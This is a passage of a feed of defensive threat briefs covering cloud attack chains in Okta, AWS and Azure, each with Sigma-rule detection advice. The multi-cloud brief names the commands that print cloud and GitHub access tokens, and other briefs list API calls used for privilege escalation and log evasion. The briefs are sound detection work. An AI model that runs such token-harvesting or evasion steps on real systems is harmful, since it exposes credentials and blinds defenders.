responds to the potential account compromise.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to unauthorized access to sensitive data, privilege escalation, and lateral movement within the organization\u0026rsquo;s cloud environment. Multiple alerts, coupled with proxy authentication, indicate a higher likelihood of account compromise. If successful, attackers could exfiltrate sensitive data, modify configurations, or disrupt services.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Okta Alerts Following Unusual Proxy Authentication\u0026rdquo; to your SIEM and tune for your environment to detect suspicious activity after proxy authentication.\u003c/li\u003e\n\u003cli\u003eInvestigate correlated security alerts triggered after proxy authentication events for affected users, as highlighted by the Sigma rule.\u003c/li\u003e\n\u003cli\u003eMonitor Okta system logs for authentication events originating from known malicious proxy IP addresses and block them at the network perimeter.\u003c/li\u003e\n\u003cli\u003eReview user\u0026rsquo;s Okta activity for signs of account takeover (MFA changes, new devices, unusual app access) after proxy authentication.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) to reduce the risk of account compromise via stolen credentials, as this attack relies on valid accounts.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T15:00:00Z","date_published":"2024-01-03T15:00:00Z","id":"/briefs/2024-01-okta-proxy-auth-alerts/","summary":"Attackers use proxy infrastructure to mask their origin when using stolen Okta credentials, and this rule correlates the first occurrence of an Okta user session started via a proxy with subsequent Okta security alerts for the same user.","title":"Okta Alerts Following Unusual Proxy Authentication","url":"https://feed.craftedsignal.io/briefs/2024-01-okta-proxy-auth-alerts/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Simple Email Service"],"_cs_severities":["medium"],"_cs_tags":["attack.stealth","attack.t1070","cloud"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThis threat brief focuses on the detection of the \u0026ldquo;DeleteIdentity\u0026rdquo; event within AWS Simple Email Service (SES) logs. An adversary who has gained unauthorized access to an AWS environment and utilized SES for malicious purposes, such as sending phishing emails or distributing malware, might attempt to erase their activity by deleting the SES identity (email address or domain) used in the attack. This action is a form of obfuscation and aims to hinder forensic investigations. While legitimate users may occasionally delete SES identities, the event warrants scrutiny, especially in the context of other suspicious cloud activity.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to an AWS account, potentially through compromised credentials or exploiting a vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker explores the AWS environment, identifying SES as a service to abuse for sending malicious emails.\u003c/li\u003e\n\u003cli\u003eThe attacker configures SES, verifies an email address or domain, and establishes sending capabilities.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts and sends phishing emails or emails containing malicious attachments to external targets.\u003c/li\u003e\n\u003cli\u003eAfter the malicious campaign, the attacker attempts to cover their tracks by deleting the SES identity to remove evidence of their activity.\u003c/li\u003e\n\u003cli\u003eThe attacker executes the \u0026ldquo;DeleteIdentity\u0026rdquo; API call within SES, specifying the identity to be removed.\u003c/li\u003e\n\u003cli\u003eAWS CloudTrail logs record the \u0026ldquo;DeleteIdentity\u0026rdquo; event, capturing details such as the event source, event name, and user identity.\u003c/li\u003e\n\u003cli\u003eThe attacker may further attempt to delete or modify other CloudTrail logs to eliminate the traces of their actions.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe successful deletion of an SES identity hinders incident response and forensic investigations. If an attacker successfully removes the SES identity, it becomes more difficult to trace the origin of malicious emails and attribute the activity to a specific actor. The deletion itself does not directly cause harm, but it obstructs the ability to understand the full scope and impact of the attack.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImplement the provided Sigma rule (\u003ccode\u003eSES Identity Has Been Deleted\u003c/code\u003e) to detect SES identity deletion events within your CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eInvestigate any detected \u003ccode\u003eDeleteIdentity\u003c/code\u003e events, correlating them with other suspicious AWS activity, such as unusual IAM role usage or unauthorized access attempts.\u003c/li\u003e\n\u003cli\u003eEnable and monitor AWS CloudTrail logs for all regions within your AWS account to ensure comprehensive event capture.\u003c/li\u003e\n\u003cli\u003eImplement strong IAM policies and multi-factor authentication (MFA) to prevent unauthorized access to AWS accounts.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T15:00:00Z","date_published":"2024-01-03T15:00:00Z","id":"/briefs/2024-01-ses-identity-deleted/","summary":"Detection of an AWS Simple Email Service (SES) identity deletion event, potentially indicating an adversary attempting to cover their tracks after malicious activity.","title":"AWS SES Identity Deletion","url":"https://feed.craftedsignal.io/briefs/2024-01-ses-identity-deleted/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS CloudTrail","EKS IAM Roles for Service Accounts"],"_cs_severities":["high"],"_cs_tags":["cloud","aws","kubernetes","lateral-movement","credential-access","discovery"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThis detection rule identifies lateral movement in AWS environments stemming from Kubernetes service accounts utilizing \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e. It focuses on detecting instances where credentials obtained via this method are subsequently used to perform several distinct AWS control-plane actions within a single session. This behavior deviates from typical pod traffic and could signify unauthorized access or privilege escalation. The rule prioritizes the detection of sensitive API usage, including reconnaissance activities, access to secrets, IAM modifications, and compute creation events, while strategically excluding high-volume S3 data-plane operations to minimize false positives. The targeted environments are those leveraging EKS IAM Roles for Service Accounts.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eA Kubernetes service account projects a token.\u003c/li\u003e\n\u003cli\u003eThe service account uses \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e to exchange the token for short-lived IAM credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the assumed role to perform reconnaissance activities such as \u003ccode\u003eListUsers\u003c/code\u003e, \u003ccode\u003eListRoles\u003c/code\u003e, and \u003ccode\u003eDescribeInstances\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to access secrets using actions like \u003ccode\u003eGetSecretValue\u003c/code\u003e and \u003ccode\u003eListSecrets\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker escalates privileges by modifying IAM policies with actions like \u003ccode\u003eAttachRolePolicy\u003c/code\u003e and \u003ccode\u003ePutRolePolicy\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to create new users or roles within the AWS environment using actions like \u003ccode\u003eCreateUser\u003c/code\u003e and \u003ccode\u003eCreateRole\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker performs lateral movement using actions like \u003ccode\u003eSendCommand\u003c/code\u003e and \u003ccode\u003eStartSession\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to evade detection by stopping logging with the \u003ccode\u003eStopLogging\u003c/code\u003e action.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to unauthorized access to sensitive data, privilege escalation, and the potential compromise of the entire AWS environment. Lateral movement within the AWS infrastructure allows attackers to gain access to critical systems and data, potentially leading to data breaches, service disruptions, or other malicious activities.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect potentially malicious activity related to \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e and tune for your environment.\u003c/li\u003e\n\u003cli\u003eReview and harden IAM role trust policies associated with Kubernetes service accounts, specifically focusing on OIDC trust conditions, as referenced in the \u003ca href=\"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html\"\u003eIAM OIDC identity provider\u003c/a\u003e documentation.\u003c/li\u003e\n\u003cli\u003eImplement strict least privilege principles for Kubernetes service accounts, limiting their access to only the necessary AWS resources, as covered in \u003ca href=\"https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html\"\u003eEKS IAM roles for service accounts\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor CloudTrail logs for \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e events followed by suspicious API calls, focusing on the actions listed in the Sigma rule detection patterns.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T15:00:00Z","date_published":"2024-01-03T15:00:00Z","id":"/briefs/2024-01-aws-k8s-lateral-movement/","summary":"This rule detects lateral movement in AWS environments originating from Kubernetes service accounts by identifying instances where credentials obtained for a service account are used for multiple distinct AWS control-plane actions, potentially indicating unauthorized access.","title":"AWS Lateral Movement from Kubernetes Service Account via AssumeRoleWithWebIdentity","url":"https://feed.craftedsignal.io/briefs/2024-01-aws-k8s-lateral-movement/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["gcloud","azd","gh","aws","kubectl","doctl","oci"],"_cs_severities":["high"],"_cs_tags":["credential-access","cloud","cli","token-harvesting"],"_cs_type":"advisory","_cs_vendors":["Elastic","Google","Microsoft","GitHub","DigitalOcean","Oracle"],"content_html":"\u003cp\u003eThis threat brief focuses on detecting command-line credential harvesting across multiple cloud platforms. Attackers may attempt to steal application access tokens or extract credentials from files by executing specific commands via command-line interfaces (CLIs) for GCP, Azure, AWS, GitHub, DigitalOcean, Oracle, and Kubernetes. This activity is particularly concerning when originating from the same host within a short time frame (e.g., five minutes), potentially indicating automated credential theft. This technique can lead to unauthorized access to cloud resources, data breaches, and lateral movement within cloud environments. Defenders should monitor for suspicious command-line activity involving cloud CLIs and credential access patterns.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a system, possibly via compromised credentials or exploiting a vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker uses a shell (cmd.exe, PowerShell, bash, etc.) to execute cloud CLI commands.\u003c/li\u003e\n\u003cli\u003eThe attacker executes commands to list available credentials or tokens (e.g., \u003ccode\u003eaws configure list\u003c/code\u003e, \u003ccode\u003eaz account list\u003c/code\u003e, \u003ccode\u003ekubectl config view\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker executes commands to print access tokens for various cloud providers (e.g., \u003ccode\u003egcloud auth print-access-token\u003c/code\u003e, \u003ccode\u003eaz account get-access-token\u003c/code\u003e, \u003ccode\u003egh auth token\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker uses credential harvesting commands across multiple cloud platforms within a short timeframe.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates the harvested credentials to a remote location.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the stolen credentials to access sensitive cloud resources and data.\u003c/li\u003e\n\u003cli\u003eThe attacker performs lateral movement within the cloud environment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to unauthorized access to sensitive cloud resources, data breaches, and lateral movement within cloud environments. The impact includes potential data exfiltration, service disruption, and financial loss. The number of affected victims will depend on the scope of the compromised credentials and the attacker\u0026rsquo;s ability to exploit them.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Multi-Cloud CLI Token and Credential Access Commands\u0026rdquo; to your SIEM to detect suspicious command-line activity related to cloud credential harvesting.\u003c/li\u003e\n\u003cli\u003eReview \u003ccode\u003eEsql.process_command_line_values\u003c/code\u003e in the rule output to identify the exact commands executed and determine if the activity was legitimate or malicious.\u003c/li\u003e\n\u003cli\u003eCorrelate the detected activity with authentication, Kubernetes audit, and cloud API logs to confirm unauthorized access and misuse of printed tokens.\u003c/li\u003e\n\u003cli\u003eImplement monitoring and alerting for unusual CLI activity originating from user workstations or build servers, focusing on the CLIs mentioned in the Overview section.\u003c/li\u003e\n\u003cli\u003eFollow vendor-specific guidance to revoke compromised credentials, such as revoking tokens and rotating secrets, as outlined in the rule\u0026rsquo;s \u0026ldquo;Response and remediation\u0026rdquo; section.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:30:00Z","date_published":"2024-01-03T14:30:00Z","id":"/briefs/2024-01-multi-cloud-cli-token-harvesting/","summary":"This rule detects command-line activity indicative of credential access across multiple cloud platforms (GCP, Azure, AWS, GitHub, DigitalOcean, Oracle, Kubernetes), looking for specific commands used to print or access tokens and credentials, flagging hosts where multiple cloud targets are accessed within a five-minute window, suggesting potential credential harvesting activity.","title":"Multi-Cloud CLI Token and Credential Access via Command-Line Harvesting","url":"https://feed.craftedsignal.io/briefs/2024-01-multi-cloud-cli-token-harvesting/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Azure"],"_cs_severities":["medium"],"_cs_tags":["azure","cloud","service principal","persistence","lateral movement"],"_cs_type":"advisory","_cs_vendors":["Microsoft"],"content_html":"\u003cp\u003eThe creation of service principals in Azure can be a legitimate administrative task, but it can also be an indicator of malicious activity. Attackers may create service principals to establish persistence, move laterally within the Azure environment, or gain unauthorized access to resources. This activity is particularly concerning when performed by unfamiliar users or from unusual locations. Monitoring for unexpected service principal creation is crucial for detecting potential security breaches in Azure environments. This alert focuses on detecting the \u0026ldquo;Add service principal\u0026rdquo; message within Azure Activity Logs.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to an Azure account, possibly through compromised credentials or a vulnerable application.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the Azure portal or uses Azure CLI with the compromised credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker executes commands to create a new service principal using tools like Azure CLI or PowerShell.\u003c/li\u003e\n\u003cli\u003eAzure Activity Logs record the \u0026ldquo;Add service principal\u0026rdquo; event.\u003c/li\u003e\n\u003cli\u003eThe attacker assigns roles and permissions to the newly created service principal, granting it access to specific resources.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the service principal for lateral movement, accessing resources or services within the Azure environment.\u003c/li\u003e\n\u003cli\u003eThe service principal is used for persistence, allowing the attacker to maintain access even if the initial access method is revoked.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful creation and misuse of a service principal can lead to unauthorized access to sensitive data, resources, and services within the Azure environment. The impact can range from data breaches and service disruption to complete control over the Azure subscription, potentially affecting hundreds or thousands of resources and users. The attacker can leverage the compromised service principal to perform actions with the permissions assigned to it, leading to significant damage and financial loss.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Azure Service Principal Created\u0026rdquo; to your SIEM and tune for your environment to detect suspicious service principal creations.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the \u0026ldquo;Azure Service Principal Created\u0026rdquo; rule (logsource: azure) by verifying the user identity, user agent, and hostname associated with the event.\u003c/li\u003e\n\u003cli\u003eReview and audit existing service principals and their assigned permissions to identify any anomalies or overly permissive configurations.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all user accounts to reduce the risk of credential compromise and unauthorized access.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:30:00Z","date_published":"2024-01-03T14:30:00Z","id":"/briefs/2024-01-azure-sp-creation/","summary":"Detects the creation of a service principal in Azure, which could indicate potential attacker activity for lateral movement or persistence.","title":"Detection of Azure Service Principal Creation","url":"https://feed.craftedsignal.io/briefs/2024-01-azure-sp-creation/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS Security Hub"],"_cs_severities":["high"],"_cs_tags":["aws","cloud","securityhub","defense-evasion"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eAttackers with sufficient AWS privileges can manipulate SecurityHub findings to evade detection and maintain persistence within a compromised environment. This involves using SecurityHub\u0026rsquo;s API to either modify existing findings, delete insights altogether, or update insights to mask malicious activity. This activity is conducted via API calls to \u003ccode\u003esecurityhub.amazonaws.com\u003c/code\u003e, specifically targeting the \u003ccode\u003eBatchUpdateFindings\u003c/code\u003e, \u003ccode\u003eDeleteInsight\u003c/code\u003e, \u003ccode\u003eUpdateFindings\u003c/code\u003e, and \u003ccode\u003eUpdateInsight\u003c/code\u003e actions. Successful evasion allows malicious actors to operate without triggering alarms or attracting attention from security personnel, leading to prolonged compromise and potentially greater damage. This is especially critical in production environments where SecurityHub findings are actively monitored.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains initial access to an AWS account, potentially through compromised credentials or exploiting a misconfigured IAM role (T1078).\u003c/li\u003e\n\u003cli\u003eThe attacker enumerates existing SecurityHub findings and insights to identify potential targets for modification or deletion.\u003c/li\u003e\n\u003cli\u003eThe attacker calls the \u003ccode\u003eBatchUpdateFindings\u003c/code\u003e API to modify the severity, confidence, or resolution status of specific findings, effectively silencing alerts (T1562.003).\u003c/li\u003e\n\u003cli\u003eAlternatively, the attacker calls the \u003ccode\u003eUpdateFindings\u003c/code\u003e API to modify individual findings.\u003c/li\u003e\n\u003cli\u003eThe attacker calls the \u003ccode\u003eDeleteInsight\u003c/code\u003e API to remove custom insights that could reveal their activities (T1562).\u003c/li\u003e\n\u003cli\u003eAs another option, the attacker calls the \u003ccode\u003eUpdateInsight\u003c/code\u003e API to modify the criteria of existing insights, causing them to miss malicious activities.\u003c/li\u003e\n\u003cli\u003eThe attacker validates the changes by querying SecurityHub to confirm that the targeted findings and insights have been successfully altered or removed.\u003c/li\u003e\n\u003cli\u003eThe attacker continues malicious activities, such as data exfiltration or lateral movement, with a reduced risk of detection due to the modified SecurityHub state (TA0005).\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful evasion of SecurityHub findings can lead to delayed incident response, prolonged attacker presence within the AWS environment, and increased data exfiltration or system compromise. The impact is particularly severe in production environments where SecurityHub is relied upon for real-time threat detection and alerting. By modifying or deleting findings, attackers can effectively blind security teams, enabling them to operate undetected for extended periods. The number of potential victims is directly proportional to the scale of AWS deployments relying on SecurityHub.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS SecurityHub Findings Evasion\u0026rdquo; to your SIEM and tune for your environment to detect suspicious API calls related to findings manipulation (logsource: aws, service: cloudtrail).\u003c/li\u003e\n\u003cli\u003eReview and harden IAM policies to restrict access to SecurityHub API actions such as \u003ccode\u003eBatchUpdateFindings\u003c/code\u003e, \u003ccode\u003eDeleteInsight\u003c/code\u003e, \u003ccode\u003eUpdateFindings\u003c/code\u003e, and \u003ccode\u003eUpdateInsight\u003c/code\u003e to only authorized users and roles.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all AWS accounts and roles, especially those with permissions to modify SecurityHub configurations.\u003c/li\u003e\n\u003cli\u003eRegularly audit CloudTrail logs for suspicious activity related to SecurityHub configuration changes.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:30:00Z","date_published":"2024-01-03T14:30:00Z","id":"/briefs/2024-01-aws-securityhub-evasion/","summary":"Attackers can impair defenses by modifying or deleting findings and insights within AWS SecurityHub using API calls such as BatchUpdateFindings, DeleteInsight, UpdateFindings, and UpdateInsight.","title":"AWS SecurityHub Findings Evasion via API Calls","url":"https://feed.craftedsignal.io/briefs/2024-01-aws-securityhub-evasion/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS Identity Center"],"_cs_severities":["high"],"_cs_tags":["cloud","aws","identity","persistence","credential-access","defense-evasion"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eAWS Identity Center (formerly AWS SSO) enables centralized management of access to AWS accounts and applications. Attackers can manipulate the configured identity provider to gain unauthorized access. The modification of the configured Identity Provider (IdP) within AWS Identity Center can lead to a full compromise of the AWS environment. By associating a malicious directory or disabling/disassociating legitimate directories, attackers can potentially establish persistent access, escalate privileges, and impersonate legitimate users. This can be achieved by utilizing compromised AWS credentials or exploiting vulnerabilities in the AWS environment.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eInitial access is gained via compromised AWS credentials or by exploiting an AWS vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker enumerates the current AWS Identity Center configuration to identify the currently associated directory.\u003c/li\u003e\n\u003cli\u003eThe attacker disassociates the existing, legitimate directory using \u003ccode\u003eDisassociateDirectory\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker associates a malicious directory they control using \u003ccode\u003eAssociateDirectory\u003c/code\u003e. This malicious directory is configured to impersonate legitimate users.\u003c/li\u003e\n\u003cli\u003eAlternatively, the attacker disables external IdP configuration for the directory using \u003ccode\u003eDisableExternalIdPConfigurationForDirectory\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker enables external IdP configuration for the directory, pointing to an attacker-controlled IdP, using \u003ccode\u003eEnableExternalIdPConfigurationForDirectory\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the malicious or attacker-controlled IdP to authenticate as legitimate users, gaining access to AWS resources.\u003c/li\u003e\n\u003cli\u003eThe attacker performs malicious actions within the AWS environment, such as data exfiltration or resource destruction.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful modification of the AWS Identity Center identity provider can lead to complete compromise of an AWS environment. Attackers can gain persistent access, escalate privileges, and impersonate legitimate users. This can result in data breaches, service disruption, financial loss, and reputational damage. The impact can extend to all AWS accounts and applications managed by the compromised Identity Center instance.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect unauthorized changes to the AWS Identity Center identity provider.\u003c/li\u003e\n\u003cli\u003eInvestigate any detected events related to \u003ccode\u003eAssociateDirectory\u003c/code\u003e, \u003ccode\u003eDisableExternalIdPConfigurationForDirectory\u003c/code\u003e, \u003ccode\u003eDisassociateDirectory\u003c/code\u003e, or \u003ccode\u003eEnableExternalIdPConfigurationForDirectory\u003c/code\u003e in AWS CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all AWS accounts and users to reduce the risk of credential compromise.\u003c/li\u003e\n\u003cli\u003eReview and restrict IAM permissions to minimize the blast radius of compromised credentials.\u003c/li\u003e\n\u003cli\u003eMonitor AWS CloudTrail logs for unusual activity patterns that might indicate malicious directory association attempts.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:30:00Z","date_published":"2024-01-03T14:30:00Z","id":"/briefs/2024-01-03-aws-idp-change/","summary":"An adversary modifies the AWS Identity Center identity provider configuration, potentially leading to persistent access and privilege escalation through user impersonation.","title":"AWS Identity Center Identity Provider Modification","url":"https://feed.craftedsignal.io/briefs/2024-01-03-aws-idp-change/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS IAM"],"_cs_severities":["high"],"_cs_tags":["cloud","aws","iam","privilege-escalation","persistence"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThe S3 Browser utility, a Windows-based client for managing Amazon S3 storage and other cloud services, can be abused by threat actors to create new IAM users or access keys within compromised AWS environments. This activity, if unauthorized, can lead to privilege escalation, persistence, or even initial access, depending on the context of the compromise. The use of S3 Browser is identifiable via the userAgent string in AWS CloudTrail logs. While legitimate use of S3 Browser for administrative tasks exists, its unexpected appearance in user activity, particularly in sensitive accounts, should be investigated. This activity is particularly concerning because it can allow attackers to establish a foothold in the cloud environment and move laterally.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to an AWS environment, potentially through compromised credentials or an exploited vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker installs and configures S3 Browser on a compromised host or uses an existing installation.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates S3 Browser to the AWS environment using existing compromised credentials or an assumed role.\u003c/li\u003e\n\u003cli\u003eThe attacker uses S3 Browser to execute the \u003ccode\u003eCreateUser\u003c/code\u003e API call within AWS IAM.\u003c/li\u003e\n\u003cli\u003eThe attacker configures the new IAM user with elevated privileges, potentially granting administrator access.\u003c/li\u003e\n\u003cli\u003eAlternatively, the attacker uses S3 Browser to execute the \u003ccode\u003eCreateAccessKey\u003c/code\u003e API call for an existing IAM user.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the newly created access key to perform actions within the AWS environment.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the new user or access key for persistence, lateral movement, and data exfiltration within the AWS environment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation and IAM creation can lead to complete compromise of the AWS environment. An attacker with escalated privileges can access sensitive data, modify configurations, disrupt services, and deploy malicious infrastructure. Depending on the permissions granted to the created user or access key, the attacker could potentially pivot to other AWS accounts or services, leading to widespread damage. This can result in significant financial losses, reputational damage, and regulatory penalties.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS IAM S3Browser User or AccessKey Creation\u0026rdquo; to your SIEM and tune for your environment to detect anomalous IAM activity originating from S3 Browser.\u003c/li\u003e\n\u003cli\u003eInvestigate any instances of \u003ccode\u003eCreateUser\u003c/code\u003e or \u003ccode\u003eCreateAccessKey\u003c/code\u003e events in AWS CloudTrail logs where the \u003ccode\u003euserAgent\u003c/code\u003e contains \u0026ldquo;S3 Browser\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all IAM users to mitigate the risk of credential compromise.\u003c/li\u003e\n\u003cli\u003eReview and enforce the principle of least privilege for all IAM users and roles to limit the impact of compromised credentials.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:30:00Z","date_published":"2024-01-03T14:30:00Z","id":"/briefs/2024-01-03-s3browser-iam/","summary":"The use of S3 Browser to create IAM users or access keys in AWS environments indicates a potential privilege escalation, persistence, or initial access attempt by threat actors leveraging a known cloud administration tool.","title":"AWS IAM User or Access Key Creation via S3 Browser","url":"https://feed.craftedsignal.io/briefs/2024-01-03-s3browser-iam/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Azure"],"_cs_severities":["medium"],"_cs_tags":["azure","service principal","stealth","cloud"],"_cs_type":"advisory","_cs_vendors":["Microsoft"],"content_html":"\u003cp\u003eThe removal of a service principal within an Azure environment can be indicative of various activities, ranging from legitimate administrative tasks to malicious actions undertaken by threat actors attempting to cover their tracks. While service principals are routinely removed as part of lifecycle management, unauthorized or unexpected removals should be investigated promptly. This detection focuses on identifying such removals through Azure Activity Logs, allowing security teams to quickly respond to potentially suspicious events.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains unauthorized access to an Azure account through compromised credentials or other means.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies a service principal used for malicious purposes or to maintain persistence.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to remove the service principal to evade detection or disrupt incident response efforts.\u003c/li\u003e\n\u003cli\u003eThe attacker executes the necessary commands or uses the Azure portal to initiate the service principal removal. This action is logged in the Azure Activity Logs.\u003c/li\u003e\n\u003cli\u003eThe Azure Activity Logs record an event with the message \u0026ldquo;Remove service principal\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003eThe detection rule triggers based on the \u0026ldquo;Remove service principal\u0026rdquo; message in the Azure Activity Logs.\u003c/li\u003e\n\u003cli\u003eSecurity analysts investigate the event, examining the user identity, user agent, and hostname associated with the removal.\u003c/li\u003e\n\u003cli\u003eIf the removal is deemed unauthorized or suspicious, further incident response procedures are initiated.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful removal of a service principal by a malicious actor can disrupt legitimate applications relying on that principal for authentication and authorization. It can also hinder incident response efforts by eliminating a potential avenue for investigation or remediation. The impact can range from service disruptions to prolonged breaches if the attacker successfully covers their tracks. The number of affected applications and the severity of the disruption depend on the role and permissions associated with the removed service principal.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Azure Service Principal Removed\u0026rdquo; to your SIEM and tune for your 